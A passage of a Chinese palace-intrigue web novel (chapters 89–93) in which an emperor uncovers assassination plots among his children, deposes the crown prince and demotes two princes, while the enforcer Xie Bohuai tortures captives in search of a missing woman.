“那老七你呢,你年纪最小,朕对你最多关注,你不会让朕寒心吧?”皇上每说一句话,下边的人呼吸就越压着,生怕引起皇上的注意。 成王倒是没像惠王那么害怕,“儿子今日陪新妇,还在准备,并没有立刻进入树林。父皇明鉴,儿子相信父皇一定会还我们兄弟几个清白?” “清白?”皇上听到这两个字就觉得可笑,“你以为他们真的清白吗?” 成王额头贴着地,“天有昭昭,儿子无愧于心,至于皇兄们,他们向来敬爱父皇。儿子相信他们绝对不会做出这种大逆不道的事!” 在这种时候,就是皇上身边的内侍,都能看出有人起了贼心,成王却一口一口大家都是清白的,这倒是让皇上很意外。 皇上不由地打量起他这个小儿子,平心而论,他是宠爱幼子,但从没想过倚重幼子。除了早逝的长子,他还有另外五个已经成年许久的儿子,那么多儿子可以用,等幼子长大,他已经垂垂老矣,哪里还有心思给幼子分权。 现在听成王说这些话,皇上心情复杂,“朕对你们都是一样,盼着你们有本事,没想到你们都太有本事了。” 皇上最后点到皇太孙,“隽儿,你过来,到皇祖父身边来。” 太子心思重,皇太孙却是心思简单,“你去看看宁安,劝劝她吧。朕会补偿白家,也会给她另寻一门更好亲事。” 李隽眼眶红红的,“孙儿知道了,您也要保重身子。父亲他们都是好的,您别怀疑他们。” 这种话,在场的几个王爷,没一个人敢说,只有他敢说。 皇上摆摆手,感叹李隽心思简单,算是一种宽慰,可皇家的人心思单纯并不是好事。 皇上有气无力地道,“你们都回去吧,朕累了。” “父皇,儿子留下来伺候您吧。”太子主动道,他是太子,这个时候应该侍候在左右。 但皇上却没让他留下,最后还是选了端王。 端王在几个王爷中,年岁最长,也最低调,手中连个实权都没有。 听到是端王,太子不仅没嫉妒,还拍拍端王,“皇兄照顾好父皇,我一定会查清楚,到底是谁那么大的胆子,竟然敢在这种时候派人刺杀我们!” 他说“我们”,便是把遇刺的他和端王归为一类。 端王却道,“此事有父皇在,我相信父皇一定会查清楚的。”他并不上太子这条船,态度明显。 太子只当没听出端王的意思,和其他人离开大帐。 走了没多久,惠王开始抱怨,“到底是哪个王八羔子,竟然胆子那么大?如果让我知道,我一定把他打到满地找牙!” 太子和成王不接话,贤王则是说到别的话题,“父皇还是看重二哥啊,按理来说,这种时候应该……算了,说这些话没意义,父皇留下二哥是事实。” “五哥,你总是这样,话说一半干什么?”敬王啧了一声,直接道,“按理来说,这种时候应该留下三哥,毕竟三哥是太子,他才是最该待在父皇身边的。” 先皇后和先太子离世后,继后上位,这时候立谁为太子,朝堂里有过争论。 论年纪,应该是端王年纪最长,可三皇子又成了嫡出。 虽然这场风波不大,但毕竟有人争论过,等太子确定了后,尽管端王府再低调,还是有人会拿端王和太子做比较。 要说太子大度,太子对兄弟几个一样亲热,并没有因为立太子的事,而冷落端王。反而是端王,从此远离朝堂,如今不过是挂了个闲职。 太子皱眉道,“六弟,不可乱说,父皇留下二哥,是看重二哥人品。我们几个是亲兄弟,不管是谁留下,对我来说都一样。” 惠王很轻地哼了一声,足够所有人都听到,他带着人就这么走了。 敬王看不顺眼,“看四哥嚣张的,还不是仗着他母妃得宠,才不把我们放在眼里。他刚才那句话,我感觉他就是冲着我们谁说的,实在可恶!” 贤王点点头,“确实如此。”他和太子行礼,“既然父皇对我们有疑心,我们还是老老实实回去等着,臣弟先行告退。” 太子点点头,再去看敬王和成王,“五弟说得对,你们也先回去,这时候别出来乱晃,免得引起不必要的麻烦。” 敬王先走了,成王则是看着太子,突然开口,“二哥你是太子,你也觉得是我们中有人,有了不轨之心吗?” “哎。”太子看着眼前最小的弟弟,拍了拍他的肩膀,“你年纪尚小,很多事你不懂,你别想太多,快点回去吧。” 太子和成王分开后,去了宁安郡主的营帐。 “隽儿,你先出去。还有你们几个,也出去。”等其他人都退出去后,太子毫不犹豫地打了宁安一耳光。 “啪!” 清脆而响亮。 他用了十足的力! 第89章 修罗 宁安郡主捂着脸,“父亲,我……” “你以为你做得神不知鬼不觉吗?”太子压着嗓子,额头暴起青筋,“还是你以为,镇府司和白家是吃素的?这里是围场,每一片土地都会被里里外外搜查,你真觉得自己很厉害吗?” 帐内一片死寂。 宁安郡主接不上话,她也没哭,眼泪只是在眼眶里打转。 “我真是要被你蠢笑了,说你聪明,你又的确聪明。你是我女儿,你做的事,我自然要替你收拾烂摊子,真不知道你是故意算到我头上的吗?”太子点着宁安郡主的头,“你真是我的好女儿,不想嫁给白旭,就能杀了他。你也太心急了吧?” 赐婚的旨意才下,现在白旭就死了。 总要有一个人背黑锅,是谁呢? 太子不可能把宁安郡主推出去,就像他说的一样,宁安郡主是他的女儿,没人会觉得,他们没有关系。 宁安郡主没接话,而是直直地看着她父亲,反问道,“可是父亲,您又何尝不是太心急了呢?陆丰年去了乌苏,等乌苏战事结束,姑母还会有现在的尊贵吗?是姑母,还是二皇叔,又或者是其他人?” “你大胆!”太子眼睛快瞪出来,“还轮不到你来置喙我的行事!” “是吗?”宁安郡主自嘲道,“右相本来就不想站队,白家新人里没有出色的人,光靠一个右相,很难撑长久。您把我嫁给白旭,才是浪费。今天不杀白旭,他迟早都会死,为什么不趁此机会,铲除您最忌惮的人?” 权势在手中经过,只要体验过的人,就不会放下。 宁安郡主想过很久,她也想心慈手软一点,那她就要接受命运安排,嫁给白旭后,看着白家落魄,她却只能困在内宅,一辈子无所作用。 所以她心狠手辣,杀了白旭。 但其他的刺客,还真和她没关系。 父亲说她算计了他,确实,整个东宫都在一条船上,宁安郡主杀的人,就要她父亲就收尾。 她可以自己没野心,但权利在她的心头滋长,要她就这么放手,她做不到。 “你放肆!”太子打量着眼前的女儿,他一直知道,这个女儿很像他,但是可惜,女儿终归是女儿,无法继承大任,再厉害也没用。但是现在看着女儿坚毅狠辣的脸,他才知道,纵使宁安无法坐上那个位置,她也能搅动风云。 宁安郡主的眼泪这才落下,但只有一颗泪珠,她忍住了疼痛,“哥哥平庸无能,父亲却只有这么一个嫡子。您想要坐稳东宫,就不能在哥哥身上出问题。我与哥哥一母同胞,谁都会害哥哥,只有我不会。父亲,已经到了这个时候,您还没有看清现实吗?” 他不用她,也得用。 因为宁安郡主已经踏入纷争里,不可能干干净净地抽身而退。 太子看着倔强的女儿,再多的话只能作罢,他退了出去,找来了心腹。 而李隽再看到宁安郡主时,宁安郡主已经泪流满面,她捂着脸,“为什么会遇到这种事?往后我还怎么嫁人?” 李隽在一旁看得着急,“你是我的妹妹,没人敢对你说三道四,宁安你别哭了,再怎么样也要打起精神来。皇爷爷说有人要图谋不轨,我不知道是谁,但我们一定要保持清醒啊。” 宁安点点头,说她累了,让李隽也回去休息。 李隽一步三回头地离开,到了门口,让侍卫们守好门,别让有心人钻了机会。 而谢泊淮再见到皇上时,已经是深夜,他脸色煞白,在水中泡了大半天,又骑马归来,浑身湿漉漉。 他跪在堂下,皇上问他查得怎么样了。 “回皇上,已经捉到一个活口,正在审问中,微臣保证在天亮之前,审出结果。”谢泊淮一直低着头,头发散乱得可怕。 看谢泊淮这个样子,皇上还是有几分关切,“有你办事,朕是放心的,你先去换件衣裳。” 皇上没什么精神,白天思虑过度,晚膳也没吃什么,这会儿说话都是有气无力。 端王送谢泊淮出去,“谢大人,你可有叶姑娘消息?” 听到叶姑娘三个字,谢泊淮的拳头不由攥紧,“无。” “实在是小女哭得厉害,若是有消息,还请谢大人通知一声。” 谢泊淮看了眼端王,这个最沉稳能忍的王爷,私下真的如表面这般与世无争吗? 他没有换衣裳,而是亲自去审问。 镇府司审问人,有时候并不是上酷刑,而是追个祖宗十八代,只要知道身份,就不可能没有不在乎的东西。 木架上的人刚被灌下参汤,他想吐却吐不出来,“谢泊淮,你个不分是非黑白的大奸臣,你一定会有报应的!” “我的报应?”谢泊淮要是怕报应这种东西,就不会在镇府司办事了,“我再给你一个机会,你是说还是不说,我的人已经去城南的杨柳巷,里边的女人是你的同乡吧?” “你要做什么?” “你犯了株连九族的大罪,现在问我要干什么?我自然是把和你有关的人,全部拉扯出来。从你这里查不到,我就一个个查!”月光下的谢泊淮,眼神阴鸷,可怕极了。 男人瞳孔骤缩,“你就不怕被戳脊梁骨吗?为了权势,不顾百姓死活,谢泊淮你才是个不折不扣的败类!” 他骂得再凶,谢泊淮都无动于衷。 司砚赶到的时候,便看到主子一动不动地看着木架上的人,仿佛在看一个死人。 “三爷,谢家传来消息,让您尽快查个明白,别拖太久。”司砚道。 “哼,是谢仲渊让你传的,还是谢泊远?”谢泊淮问。 “是老爷的意思。”司砚用只有两个人能听到的音量道,“这个事,怕是谢家也有一份。” 如果谢家参与谋杀,不管对象是谁,整个谢家都会被牵连,就算是谢泊淮,皇上再怎么保他都没用,他这个镇府司指挥使是当不了了。 离开镇府司,谁还怕谢泊淮? 到时候谢泊淮就是过街老鼠,谁都能追着打打杀杀。 “谢仲渊这个老匹夫,他真是活腻了!”谢泊淮长叹一声,派出去的人有回来的,说还是没找到叶姑娘的踪迹,再去看木架上的人时,谢泊淮狠狠地掰开对方的下巴,另一只手拿着烙铁。 他像是地狱里的修罗,在这一刻,面目可憎,没有道理可言,更不会手下留情! 直到一个时辰过去,天刚拂晓,木架上的男人已经说不出话来,谢泊淮才带着男人的供词,一步步地去见皇上。 第90章 都说清白 晨曦的第一缕阳光刚落尽围场,就有人拦下了谢泊淮。 来的是江嬷嬷,谢泊淮面无表情地道,“滚开。” “谢大人,你别别人耍了。”江嬷嬷只留下这句话,本想多说两句,奈何谢泊淮的“滚开”两个字实在不中听。 等谢泊淮到皇上跟前,呈上供词,“回皇上,追杀隆玉公主的人已经招认,因为惠王怀疑是公主杀了昭云郡主,故而派人追杀。” 惠王听到是他,当即跳了出来,“谢泊淮,你不要胡说八道,那个刺客和我没关系!你不要诬陷我!” “刺客的供词是这么说的。王爷不也一直在查昭云郡主的死么,刺客说您一个月前就知道了,所以一直在等待机会。”谢泊淮看着惠王。 惠王噗通跪下,“父皇,儿臣冤枉啊,如果儿臣真的知道是隆玉杀了昭云,儿臣为何不直接来告御状?” “因为您没有证据,知道奈何不了隆玉公主,只能暗中下杀手。”谢泊淮道。 皇上听得眉头紧皱,“你们的意思,是隆玉对昭云下手?” 谢泊淮没说话,惠王确实受到了这个消息,但他并没全信,他知道别人送这个给他,就是为了挑起他和隆玉的矛盾,想让他针对隆玉。而且无凭无据,他能奈何得了谁? 成王出来,摇头否认,“不可能的,皇姐回京城后从没插手过朝堂的事,也没和昭云起过争执,为何要杀昭云?” 众人都知道昭云死状凄惨,会这样对昭云,一定是恨极了昭云。 成王提到了朝堂,让人不由多心,隆玉公主真的没管朝堂的事吗? 这时隆玉公主到了,她跪在惠王边上,“儿臣请父皇还儿臣清白。” 一句清白,让边上的惠王面色不好看,他没全信对方的话,却也知道不会空穴来风。 皇上头疼了,看着他的儿子与女儿们,最后去看谢泊淮,“除了刺客的供词,还有其他证据吗?” “有,这里是惠王爷的印章,是惠王养兵的证据,足以证明他有不臣之心。”谢泊淮呈上证据,皇上看了一眼,勃然大怒。 惠王愤怒地看向谢泊淮,“我与你无冤无仇,就算是昭云的事,她已经惨死,为何要这样利用我?” 皇上丢下印了印章的密信,“人证物证都在,你真是让朕太失望了!” 惠王慌了,他是养了兵,但谁都这点干,不过是为了预防一些事,怎么就到了谢泊淮手里? “冤枉啊,儿臣真的冤枉,儿臣没理由啊,您可以去查,去儿臣府上查!”惠王砰砰磕头,坚持说自己是冤枉的。 隆玉公主也哭着说自己没杀昭云。 成王看着惠王,不敢置信地道,“四哥,你怎么……” 太子也跪下,“父皇明鉴,不管是四弟,还是隆玉,儿臣都相信他们。一定有人在暗中挑拨离间,试图陷害他们!” 贤王和敬王纷纷跪下,贤王从头到尾一句话不说,敬王则是愤愤开口,“四哥平常就嚣张,仗着父皇的宠爱,有什么事是不敢做的。我看你对我们几兄弟,早就不顺眼了,更别说是皇姐。而且谁不知道你的那点小心思,你早就想入住东宫了吧!” “你闭嘴!”惠王拽住敬王衣领,“我什么时候有过这种心思,别不是你陷害的我吧?” “我陷害你做什么?我就算看你不顺眼,又何必做这种事?”敬王不承认。 惠王气得打了一拳过去,“你不要胡说八道,我从来就没有过不敬之心。” “那你敢对天发誓吗?拿你阖府上下的性命来发誓,你敢吗?”敬王也不是吃素的,很快按住惠王。 眼看两个人就要打起来,皇上快气吐血,让人分开他们。 这时谢泊淮又道,“确实,惠王爷可能是恨隆玉公主,毕竟有人和他告密,此人厉害得很,想要看鹬蚌相争,坐收渔翁之利。昭云郡主的死已经结案,如果不是霍家做的,那京兆尹的孙浩岂不是冤枉了人?” 这话一出,所有人都看向谢泊淮。 他们都知道,谢泊淮曾经被孙浩严刑逼供过。 皇上让人去带孙浩来,谢泊淮说昨晚就派人去请了,他说了请这个字特别用力,“而且此次的刺客,不是同一波,至少有两派人。太子殿下,您说是吗?” 被谢泊淮点到的太子,心头猛颤,“谢泊淮,你什么意思?我也是受害者!” “是啊,所以微臣才想问问,您遇到的刺客是什么样的,和端王殿下遇到的是不是一样,又与隆玉公主遇到的一样吗?”谢泊淮直直地看着太子,“据我所知,是不一样的。” 他刚说完,司砚拿出两块布料,“这是从刺客们身上取下的布料,分别来自不同的地方,由此可以区分,这次的刺客应该是两拨人。” 而不同的,则是刺杀太子的那一部分人。 有人同时想要隆玉公主和端王的性命。 “谢泊淮,你就直说吧,到底是谁?”敬王骂咧咧地道,“是哪个王八蛋,要做这种事?” 隆玉公主也开口,“是啊,我也想知道,到底是谁包藏祸心?我和亲乌苏十几年,不说功劳,其中辛苦又有谁知道?如今却要被人诬陷猜忌,倒不如给我一条白绫,让我吊死在宫门口算了。” 惠王也让谢泊淮快点说,“我是清白的,我可以对天发誓!” 太子看了惠王一样,也让谢泊淮快点说,但他心里已经嘀咕起来,宁安的事,他已经处理好了,谢泊淮没理由查到。难不成,哪里出了披露? 如果保不住宁安,他得想办法摘干净自己,以免父皇猜忌。 所有人都看向谢泊淮,谢泊淮却让皇上屏退众人,他要单独和皇上说。 第91章 不如前人 敬王不悦,“有什么话不能直接说?谢泊淮,你到底在做什么鬼?” 他早就看谢泊淮不顺眼了,平常父皇有个什么事,都是找谢泊淮,对谢泊淮比他们还要信任。 太子也道,“是啊谢大人,这种时候,你就不要卖关子了,这里没外人,你把事情说个明白,免得我们猜忌。” 谢泊淮没有接他们的话,而是看向皇上。 片刻过后,皇上摆摆手,示意其他人退下。 “父皇!您不能听信谢泊淮的片面之词啊!”敬王跪下磕头,掷地有声,“谢泊淮这人暴虐残酷,他只是装给您看的!” 成王也跪下,“还请父皇让我们留下!” 太子紧随其后,只有端王个贤王没动,他们看着谢泊淮,主动退了出去。 此时的皇上,已经黑了脸,“朕让你们退下,你们是没听到,还是不把朕的话放在耳里?” “儿臣不敢,只是……” “只是什么,是你敬王心虚了吗?”皇上丢下手中的砚台,开始疯狂咳嗽。 到了这个地步,隆玉公主先起来,“六弟还是听话出去吧,免得再惹父皇不高兴,父皇是明君,是非黑白他肯定能分辨,不用你来多说。又或者说,你是真的心里有鬼?” “你!”敬王看着隆玉公主,“好你个隆玉,别以为我怕你,咱们等着瞧,看看到底是谁有鬼?” 敬王恼怒退场,隆玉公主紧随其后,太子和成王对视一眼,也退了出去。 营帐里只剩下谢泊淮和皇上身边的内侍,营帐外的敬王骂咧咧道,“好一个谢泊淮,我倒要看看,他能嚣张多久!” 成王让他别生气,“我怎么能不生气?都这样了,父皇还是只信任谢泊淮,咱们才是他的亲儿子啊!” 隆玉公主冷笑,“六弟那么慌做什么,说你没脑子,你还真的没脑子,谢泊淮这是给我们留面子呢,镇府司查案,总能查出一点事情来,你能保证,你们所有人都是清清白白的吗?” 谁没干点见不得人的事,谢泊淮若是当众说出来,别人听到,岂不是会被利用? 隆玉公主看得透透的,谢泊淮能一直得父皇看重,便是事事都以父皇为主。父皇肯定不想他们这些人互相捏着把柄,那迟早要乱起来。 奈何敬王看不透,被隆玉公主骂没脑子,他当即火了,“你说谁没脑子?我再怎么样也比你好,一天到晚养男人,名义上说得好听,是进公主府教学,教的什么学?风花雪月的淫诗烂词吧!” “无凭无据的话,六弟别乱说,免得我告你个口无遮拦。我可是本朝公主,代表了本朝颜面,你这样说我,不就是在说你自己?”隆玉公主放下脸来。 眼看两个人要吵起来,太子出面道,“都别吵了,还不知道谢泊淮和父皇说什么,一个个先内斗起来,你们难道不知道,父皇最讨厌我们兄弟姐妹之间争吵吗?” 有太子出面,敬王瞬间住嘴,走到木桩边上,狠狠打了几拳。 太子再去看隆玉公主,“隆玉,你何必这样说你六弟,他也是关心则乱。咱们都是至亲,大家应该和和睦睦才是。” “是啊,大家都是至亲。”隆玉公主语气嘲讽。 真要是至亲,在她和亲时,怎么不见有人帮她说一句话。 太子啊,虚伪得很。 隆玉公主走到一旁,看着营帐内,也在揣测这次的事。 江嬷嬷小声道,“谢大人不曾找到姑娘,在寒凉的江水里泡了一晚上,老奴看谢大人不会轻易罢休。” “谢泊淮肯定不会放弃,但那又如何,有了这次的事,婉宁的死正好顺理成章了。就是不知道本宫身边出了哪个细作,竟然有人知道昭云是本宫杀的。”隆玉公主想了又想,她身边的那些人,是该换一换了。 “怎么会这样?”江嬷嬷没有跟着进去,故而不知道这个事,她心跳加快,“那皇上怎么说?” “父皇肯定是不会相信的,毕竟抓人要人证物证,如果有证据,老四早就来要本宫的命了,不会等到现在。”隆玉公主说完扫了眼她的几位兄弟,“太子城府最深,也最不安心。端王看着低调,但他年轻时那叫一个飒爽。贤王是个阴险小人,从不主动挑事,实际上小心思最多。敬王就是个蠢货,别人随便一挑火,他立马屁颠屁颠跟上。至于老七嘛……” 隆玉公主有点看不透这个最小的弟弟,若说成王年纪小,没那么多心思,隆玉公主以前也是这样以为。但今日成王处处挑拨,实在是让人忍不住多想。 就在这时,内侍出来,宣太子进去。 太子的右眼皮一抽又一抽,“敢问公公,父皇喊我,所谓……” “您进去便知道了。”内侍不敢多话,“这是陛下的意思,您别让陛下等久了。” 太子这一进去,敬王再次嘀咕起来,“五哥,你说父皇喊太子做什么?” 贤王说不知道,“六弟别着急,安静等着就是。” 惠王却在这时候开口,“难不成这次的事是太子安排的?”他对东宫垂涎已久,早就和太子明里暗里争斗,现在真是太子的话,那他真要给谢泊淮鼓掌。 他刚说完,就见所有人都看了过来,赶忙道,“我不过是这么一猜,你们这样看着我做什么?” “四弟,不可乱说话。”一直沉默的端王突然开口,看向营帐时,悄悄地叹了口气。 京城的天啊,这算是要变了。 往后多年,世人说起这一年,那叫一个唏嘘,谁也想不到,不过短短几天,竟然发生那么多重大事件。 随着太子进去的时辰越久,外边的人就越紧张,谁都不知道里面是什么样的情况,更不清楚什么时候会喊到自己。 而里边的太子,已经满头是汗,他跪在地上,皇上看着太子,久久说不出话来。 先太子薨了时,皇上备受打击,他苦心培养的儿子就这么没了。那可是人人称赞的好太子,从学问到仁德,朝中没有人不服。 后来再立太子,皇上苦思几个晚上,就怕起争斗,所以选择了立继后所出的三儿子。 这些年,皇上对太子也是费心教养,可每每都忍不住比较,感叹不如前人。 现在看着太子跪在地上颤颤发抖,过了许久,皇上才咬牙问出,“你怎么就那么心急呢?” 第92章 废太子 “儿臣,儿臣……” 太子已经说不出话来了。 “你拉拢白家,求朕赐婚的时候,朕就不该答应你。”皇上十分后悔,“助长了你的野心,让你觉得这京城里的事都能由你做主了?” “儿臣没有!”太子用力摇头,但是到了这会,再多的诡辩都没用。皇上已经开了这个口,就代表事情无法收拾。 “你既然求了白家的婚事我,为何又要杀白旭?”皇上拍着桌子,激动到咳嗽。 杀了白旭就算了,皇上还能帮太子兜底,但是太子想要一石三鸟,连同隆玉公主,惠王,端王全部拿下。 “你真是好计谋!”皇上看着自己费心培养的第二个儿子,有些不知道该怎么说才好,“你都已经是太子了,至于把兄弟们都赶尽杀绝吗?等朕百年之后,所有的都是你的,到时候你想怎么处置,都由你说了算,你还不满足?” 到了这一刻,皇上不觉得太子心急,而是太蠢了。 明明再等几年,等太子手握大权,还要费这些心思做什么? 人啊,一定要看清自己。 皇上其实是满意太子的多心思,身为帝王,就要有这样的七窍玲珑心,他在一定的程度上,选择纵容太子,培养太子生出野心。 但是皇上又没和太子把握好分寸,一个放手太多,一个用力太猛。 谢泊淮之所以让所有人都出去,便是不知道皇上会不会因为这个事废太子。 皇家的事,不是简单的是非黑白就能决断,太子是一国储君,关系到国之根本,不能轻易废黜。 “父皇,求您给儿臣一个机会。是儿臣糊涂了,儿臣不应该多疑。但是儿臣怕啊,真的非常怕,自从坐上太子的位置,儿子就感觉有无数的眼睛一直盯着自己,他们想拉儿臣下去,踩着儿臣的尸体爬上去。”太子哭着磕头,“所以儿臣没睡过一个好觉,儿臣真的太害怕了。” “欲戴其冠,必承其重,是你和皇后把你推上这个位置的,所以你的害怕应该怪你自己。”皇上也曾是太子,他懂东宫有多不容易,但同时,他又清楚,只有自己有足够的本事,就不用惧怕任何人,“太子,你输了。” 一句输了,给太子判了死刑。 太子瞬间呆滞住,“父皇,儿臣真的知道错了,这不是没什么事么,您就放过儿臣这一次吧!” 他用力磕头,直到头破血流,都没停下。 皇上痛心疾首地看着太子,“太迟了,你这次胆子太大了。来人啊,传朕旨意,太子无德,谋害手足,今日起废黜他的太子之为,贬为庶人,永远囚禁在宗人府。至于皇太孙等人,即刻搬出东宫,另寻住处!” 旨意一出,太子仰天大笑,他像疯了一样被拖出去。 “谢泊淮,我等着看你倒下的那一天!”太子被拖了出去,他狼狈的样子被众人看到,得知皇上废了太子,几位王爷神色各异。 这时,营帐内又传来旨意,惠王私自拥兵,贬为郡王,即刻出发前往封地。 太子被废,等于给了其他王爷机会,但惠王要被发往封地,等于皇上告诉他,让他提前退出争斗。 惠王争了大半辈子,好不容易等到太子被废的这天,他不甘心,“父皇,儿臣有错,您让儿臣在京城,不管怎么样都可以。儿臣求求您了,别让儿臣去封地。” 谢泊淮从营帐里出来,居高临下地看着跪在地上的惠郡王,声音冷冷,“惠郡王,你真的要在这个时候继续惹怒皇上吗?” “谢泊淮!不,是谢大人,你帮我求求父皇,我不能走的,我绝对不能走!”惠郡王用力磕头,那瞬间的喜悦变成愤恨,怎么可以让他在这个时候离开。 “惠郡王,我劝你还是听从旨意离开,这已经是皇上仁慈了,如果你不愿意离开,皇上会派人亲自押送你去封地。”谢泊淮无情地道。 “谢大人,你就不怕吗?”惠郡王抬头去看,皇上年纪大了,谁知道能撑多久,到时候皇上驾崩,谁又能护住谢泊淮? 谢泊淮却是冷冷勾唇,“镇府司办事,就没有怕这个字。” 惠郡王明白了,他今日没有转圜的余地,“那我想进宫和母妃告别,这种可以了吧?” “皇上说没必要了,会让你母妃与你一同前往封地。皇上的意思应该很明白了,相信你能懂。”谢泊淮说完,又去看敬王,“敬王爷言语冲撞,实在不配当个亲王,您也被贬为郡王,禁足一年,不许出来。” 听到自己也被贬,敬王不可思议地瞪大眼睛,“凭什么?我什么都没做,不过是说了几句公道话,怎么连本王都容不下?” 有侍卫来给敬王做手势,示意他可以离开了,但敬王本来就是个暴脾气,抢过侍卫的佩剑朝谢泊淮冲了过去,“肯定是你在父皇面上乱说话,我要杀了你!” 但养尊处优的敬王,哪里是谢泊淮的对手,不过一招,敬王就被谢泊淮打倒在地,“敬郡王,你该走了。” 隆玉公主在心里骂了句蠢货,父皇让老六禁足,明显是在保护老六,就老六的这个脑子,怎么斗得过其他几位老谋深算的兄弟。还有老四也是,老四对东宫之位的欲望太强,马上就会成为众矢之的。到时候第一个死的就是老四,再是容易被人当枪使的老六。 结果这两人,一个比一个糊涂,还在骂谢泊淮弄权。 哎,父皇真是年纪大了,下不去手,当初逼死先皇后时的父皇,可不曾心慈手软。 如今为了保全这两个儿子,父皇是煞费苦心。 不过谢泊淮这厮,还真是不给自己留后路,连着得罪三位皇子,其余的皇子怕是也忌惮他。 隆玉公主看着谢泊淮,心里只有一个想法──这人在找死! 第93章 三年后 谢泊淮这次,是不留情面地得罪人。 敬郡王被带走的时候,诅咒了谢泊淮的祖宗十八代,谢泊淮却像没事人一样,最后成王过来时,他也是一样的冷脸。 “谢大人。”成王娶了谢家大房的女儿,和谢泊淮也算得上是有亲戚关系,“今日的事,你不怕被记恨吗。” 谢泊淮只是给了成王一个眼神,便转身走了。 “七弟何必自讨苦吃?”贤王过来站到成王边上,从此以后,就他、成王和端王了。端王看不出有什么,但是成王可不是什么简单的。 “五哥想说什么?”成王敛去笑容。 “没什么,就是没想到咱们几个兄弟,会变成这样。”贤王留下这句话,便转身走了。 这一天的事,在后世说起来,几天几夜都说不完。众人对谢泊淮的评价也是褒贬不一,有人说好,也有人说他是奸臣,蒙蔽皇上。 而从这一天起,皇上的身体变差了许多,废太子没过多久被毒杀在宗人府,一直没找到谋害他的人。 谢泊淮带着镇府司的人,犹如杀神入世,本就够差的名声,一时间更是人人避而不及。 日子就这么过了三年,皇上已经病了有半个月没上朝,谢泊淮不仅是镇府司指挥使,还是京城里最说一不二的人。 这日谢泊淮刚从仁政殿出来,便遇到了成王带着朝臣们过来,他挡在路上,负手而站。 “谢泊淮,你这是什么意思?”成王不悦地看着谢泊淮,“父皇病了,我这个当儿子的,都不能去探望吗?” 白术也道,“谢泊淮,这些年你把控朝政,你就不怕有报应吗?” “如果我把控朝政,你们现在还能这样和我说话吗?”谢泊淮冷眼扫了过去。 三年的时间,让谢泊淮有了更多的沉淀,尽管是很潦草的胡茬,在他脸上,都有着不一样的凌厉。 他这话一出,所有人屏息静气,没一个人敢去看谢泊淮。 最后还是成王站出来,“我们只是想见父皇,你没理由拦着!” “不是我要拦你们,是皇上的意思。成王殿下非要进去看看,那就请吧。”谢泊淮一句威胁的话都没说,却叫人身体起了鸡皮疙瘩。 谢泊淮已经侧身让开,但没一个人敢上前。 谢泊淮冷哼了一声,“既然殿下不敢进去,那就别把罪责推到我的身上,不然……” 话就此停住,谢泊淮就走了。 被留下的几个人面面相觑,谁都不敢进去,这三年里,皇上对谢泊淮更加信任,不管任何事都会问谢泊淮先。故而说皇权掌控在谢泊淮手里也不为过,有人说,只要谢泊淮愿意,随时都可以篡位登基。 “殿下?”白术去看成王,“咱们现在……”进还是不进? 谢泊淮已经走了,他们这次来,不就是为了见皇上? 结果现在谢泊淮走了,他们却不敢进去了吗? 所有人都在等成王开口,毕竟他们都不敢得罪谢泊淮,更不敢闯仁政殿。 过了好一会儿,成王才深吸一口气,“回去。” 这两个字,成王似乎要咬断舌头,威风凛凛地来,最后却灰头土脸地回去,丢脸丢大发了。 成王出宫时,正好碰到进宫的贤王,四目相对,成王没打算停下,却被贤王喊住了。 “七弟,你又何必呢?”贤王的薄唇微微上挑,“别人都避开谢泊淮,你却非要硬往上凑,这不是自讨苦吃吗?” “我是自讨苦吃,五哥又是进宫去做什么?”成王冷笑。 这三年里,端王更加不出来,只剩下成王和贤王明里暗里都在斗。 皇上不立太子,只写了遗诏,放在正大光明牌匾的后面,等他驾崩后再取下来,就知道谁继承大统。 不过既定的人选要是提前有个什么意外,那就要换人了。 成王在这三年里迅速成长,拉拢了不少朝臣,已经到可以和贤王抗衡的地步。 之前废太子和惠王的追随者,为了自保,都快速地寻找庇护。 两人现在见面,更是剑拔弩张,连明面上的和谐都不维持了。 “父皇病了,不管见不见得到父皇,我作为儿子都应该每天去请安伺候,这是我应该的。”贤王道,“七弟带着这么多人去,实在是不妥吧?” “我这人有什么说什么,做不到五哥的虚假,每天都来请安,说得倒是好听。你是什么心思,咱们都清楚,何必惺惺作态?”成王语气不善。 贤王却没有生气,反而道,“七弟的脾气快比得上六弟了,可你有没有想过,最后的结果,可能不是你,也不是我?” “什么意思?” 贤王往边上走了一点,成王犹豫片刻,还是跟了过来,贤王才道,“现在是什么情况,你不清楚吗?是你有兵权,还是我有实权?与其你我斗个你死我活,倒不如先歇歇吧?” 成王皱紧眉头,其实贤王说得没错,现在是谢泊淮一人说得算的时候,他们都说,谢泊淮是土皇帝,很可能正大光明牌匾后遗诏写的就是谢泊淮的名字。 不然谢泊淮把所有人都得罪了,等皇上驾崩后,谢泊淮如何能自处? 现在贤王求和,成王不是不心动,只是贤王这个人心思太多,成王一时间不敢相信是真是假。 “我知道七弟有很多的疑虑,你可以先想想,想清楚了再来找我。三年都过去了,也不急于这几天。”贤王说完,转身进宫去了。 成王看着贤王的背影,直到过了许久,才转身上了马车。 此时的谢泊淮,去了天牢里,看着里面的孙浩,已经瘦成了骷髅,看不出人样。 “你又来了?”孙浩现在看到谢泊淮,眼神已经空如死人。 谢泊淮走进天牢里,“你还是不肯说,你主子是谁吗?” “三年了,每十天你就来一次,不得不说你还真的很有毅力。我不是说了,我主子是废太子,你到底还要问什么?”孙浩是求死不能,三年里被关在这个暗无天日的地方,每一天都非常想听到谢泊淮死了的消息。 谢泊淮:“你没说真话。” “你能查到的,都查到了,非要说我没说真话。谢大人,我都能被你吓尿了的一个人,你对我用了那么多刑罚,还有什么不相信的?”孙浩一口气说完,大口地喘气,他真的很想死了,也很想知道,谢泊淮到底要从他嘴里问什么。 谢泊淮挡在天牢的门口,“你说废太子让你审的我,但是废太子却死在宗人府,这是为何?孙浩,你要想清楚,我有法子关你一辈子,让你永远求死无能,又生不如死!” 他一字一句地咬牙在问,孙浩却还是麻木的脸。 “谢泊淮,我一直想不明白,你为什么那么执着地来审问我,这三年你就像疯子一样,得罪了所有人不说,还非要来我这里找一个答案。”孙浩没有生气的眼睛,突然动了动,他抬头去看谢泊淮,像一个被线拉着的木偶,“谢泊淮,你是不是弄丢了什么吗?是的,一定是这样,不然你早就让我死了,但你怕,非常怕我死了是吧?” 没有等到谢泊淮的答复,孙浩突然笑了起来,“是这样,一定是这样!哈哈,没想到你也有这种报应!你打死我啊,如果你打死我,这辈子都别想知道了!” “折竹。”谢泊淮转身出了天牢,“今天多十鞭。” 折竹进了天牢里,谢泊淮而是到门口,他却没走进阳光下。 